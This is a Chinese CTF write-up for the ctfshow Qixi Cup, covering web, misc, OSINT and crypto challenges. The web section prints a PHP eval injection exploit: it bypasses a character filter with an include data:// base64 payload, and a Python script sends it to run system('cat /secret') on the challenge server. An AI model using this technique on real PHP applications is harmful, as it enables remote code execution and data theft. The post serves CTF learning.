当前位置:网站首页>ctfshow七夕杯复现
ctfshow七夕杯复现
2022-08-08 16:11:00 【Msaerati】
web
web签到
七字符rce
CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总_OceanSec的博客-CSDN博客
一点一点拼shell

easy_calc
<?php
if(check($code)){
eval('$result='."$code".";");
echo($result);
}
function check(&$code){
$num1=$_POST['num1'];
$symbol=$_POST['symbol'];
$num2=$_POST['num2'];
if(!isset($num1) || !isset($num2) || !isset($symbol) ){
return false;
}
if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
return false;
}
if(preg_match("/^[\+\-\*\/]$/", $symbol)){
$code = "$num1$symbol$num2";
return true;
}
return false;
}从题目代码来看,是输入3个值,分别是num1、符合值、num2
然后过滤了一大堆符号,这种就是最直接的提示,没过滤哪个,就用哪个
然后把3个值拼接起来进行执行
既然是eval就是代码执行,但是又不能用括号,那么只能用不用括号的函数了,那么答案很显然
php中不需要括号使用的函数,叫做语言结构,常见的有include、require、echo等
那么思路有了,要使用include来执行代码,那么显而易见,肯定要用到伪协议了
我们只需要构造出一个data的伪协议看看
正常的伪协议包含是这样的
include "data://text/plain,<?php phpinfo();?>"
但是呢,题目不能用括号和< 随意需要对执行的代码进行编码
使用data协议的第二种写法
include "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+"
观察符号,刚好都在可以用的范围之内
可以拆分给三个变量分别复制
$num1 = "include data:/"; $symbol = "/"; $num2 = "text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+" $num1$symbol$sum2="include data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+"
上一把梭脚本
import requests
__AUTHOR__ = "h1xa"
url = "http://4d184567-5c8c-4802-b2d9-6af9e9e4e93e.challenge.ctf.show/"
def getFlag():
data={
"num1":'include "data:ctfshow',
"symbol":"/",
"num2":'b;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4";'
}
response = requests.post(url=url+"?1=system('cat /secret');die();",data=data)
print(response.text)
if __name__ == '__main__':
getFlag()misc
杂项签到
直接放入010看最后得到flag
你会lsb吗
得到一个没有后缀的文件,放到010查看

可以看到是字符倒叙了,用脚本翻转过来
import re
import binascii
def read_file(filepath):
with open(filepath,'rb') as fp:
content=fp.read();
return content
a = read_file('zip')
hexstr = str(binascii.b2a_hex(a))
hexstr = re.findall("b'(.*?)'",hexstr)[0]
result = []
result.append(re.findall(r'.{2}', hexstr))
result = result[0]
daoxu = result[::-1]
hex= ''
for i in daoxu:
hex +=i
print(hex)
放入010中得到一个压缩包。里面有一个png文件,zsteg梭一下

得到一个ctfshow,题目说是lsb,猜测是lsb加密隐写,ctfshow为key解密得到

猜测是emoji-aes
key为ctfshow,偏移量为2得到flag

OSINT
社工签到
百度识图

天涯小镇
迷失的大象
百度识图发现

搜索普洱市墨江县得到

大飞机
百度后知道了飞机型号和时间,搜索后得到航班号

CRYPTO
密码签到
已知密文由两部分组成,后面的推测为秘钥
密文如下:
y3rmc2hvd3tjcnlwdg9fc2lnbmlux2lzx2vhc3l9-a0004008a0
边栏推荐
猜你喜欢

Dry goods: design high concurrency architecture from scratch

10分钟快速入门RDS【华为云至简致远】

微信公众号+web后台的工资条发放功能的实现

Share these new Blender plugins that designers must not miss in 2022

GHOST tool to access the database

vs2只运行项目中的一个文件
![[Online interviewer] How to achieve deduplication and idempotency](/img/6b/2decedeb4ba737b6062a0da5a7e5b9.png)
[Online interviewer] How to achieve deduplication and idempotency

Streamsets Data Collector 3.12

EMQ畅谈IoT数据基础软件开源版图,引领本土开源走向全球

【Unity入门计划】Unity实例-C#如何通过封装实现对数据成员的保护
随机推荐
‘xxxx‘ is declared but its value is never read.Vetur(6133)
Power BI简介
谈谈怎么可以得到显著性图 特征图 featuremap
LED显示屏在会议室如何应用
垃圾账号不胜其烦,设备指纹快速发现
微信公众号+web后台的工资条发放功能的实现
Introduction to Power BI
[Unity entry plan] Use the double blood bar method to control the blood loss speed of the damage area
通过jenkins交付微服务到kubernetes
【软件工程之美 - 专栏笔记】40 | 最佳实践:小团队如何应用软件工程?
一文搞懂│XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持
Redis design and implementation notes (1)
web-sql注入
C#/VB.NET 将PDF转为PDF/X-1a:2001
OpenAI怎么写作「谷歌小发猫写作」
Building and Visualizing Sudoku Games with Pygame
bzoj2816 [ZJOI2012]网络
10.cuBLAS开发指南中文版--cuBLAS中的logger配置
Understanding of redis slice cluster
【uniapp小程序】视图容器cover-view